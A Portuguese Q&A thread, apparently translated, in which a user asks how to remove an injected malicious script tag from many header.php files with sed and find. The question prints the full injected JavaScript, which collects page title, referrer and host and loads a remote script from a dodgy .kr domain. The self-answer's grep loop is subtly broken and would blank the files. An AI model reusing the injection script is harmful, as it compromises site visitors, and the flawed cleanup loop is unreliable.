Como remover uma tag de script de um arquivo de texto com sed

0

Eu tenho um número de arquivos header.php que tem uma tag de script malicioso contida neles (não pergunte). Eu escrevi um script de shell não tão elegante para substituí-los por espaço em branco. Eu inicialmente tentei subtrair a carga do header.php, mas isso não parecia possível, pois o arquivo não era uma lista ordenada. Abaixo está o meu código:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

O problema é que este código não é executado com o erro: sed: -e expression #1, char 578: unterminated s 'command'. Minha suposição é de que há caracteres sem escape causando esse problema, tentei escapar de todos os < > e {}, no entanto, isso não parece ajudar (note que os < > ainda são escapados acima).

Se houver uma maneira de inserir um arquivo contendo a string em sed como sed -i 's/$payload/ /g' , ainda não consegui resolver isso.

    
por ref 13.01.2016 / 08:12

2 respostas

0

Se, como sua resposta diz, a carga útil estiver em uma única linha, isso fará com que, ao criar backups dos arquivos alterados:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

Apenas certifique-se de que a string "someplacedodgy" seja exclusiva das linhas de carga útil.

Omita o .bak de -i.bak se você quiser pular os backups.

    
por 14.01.2016 / 04:44
0

Eu trabalhei com uma solução mais fácil para este problema, pois a string estava contida em uma linha por si só.

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader
    
por 14.01.2016 / 04:19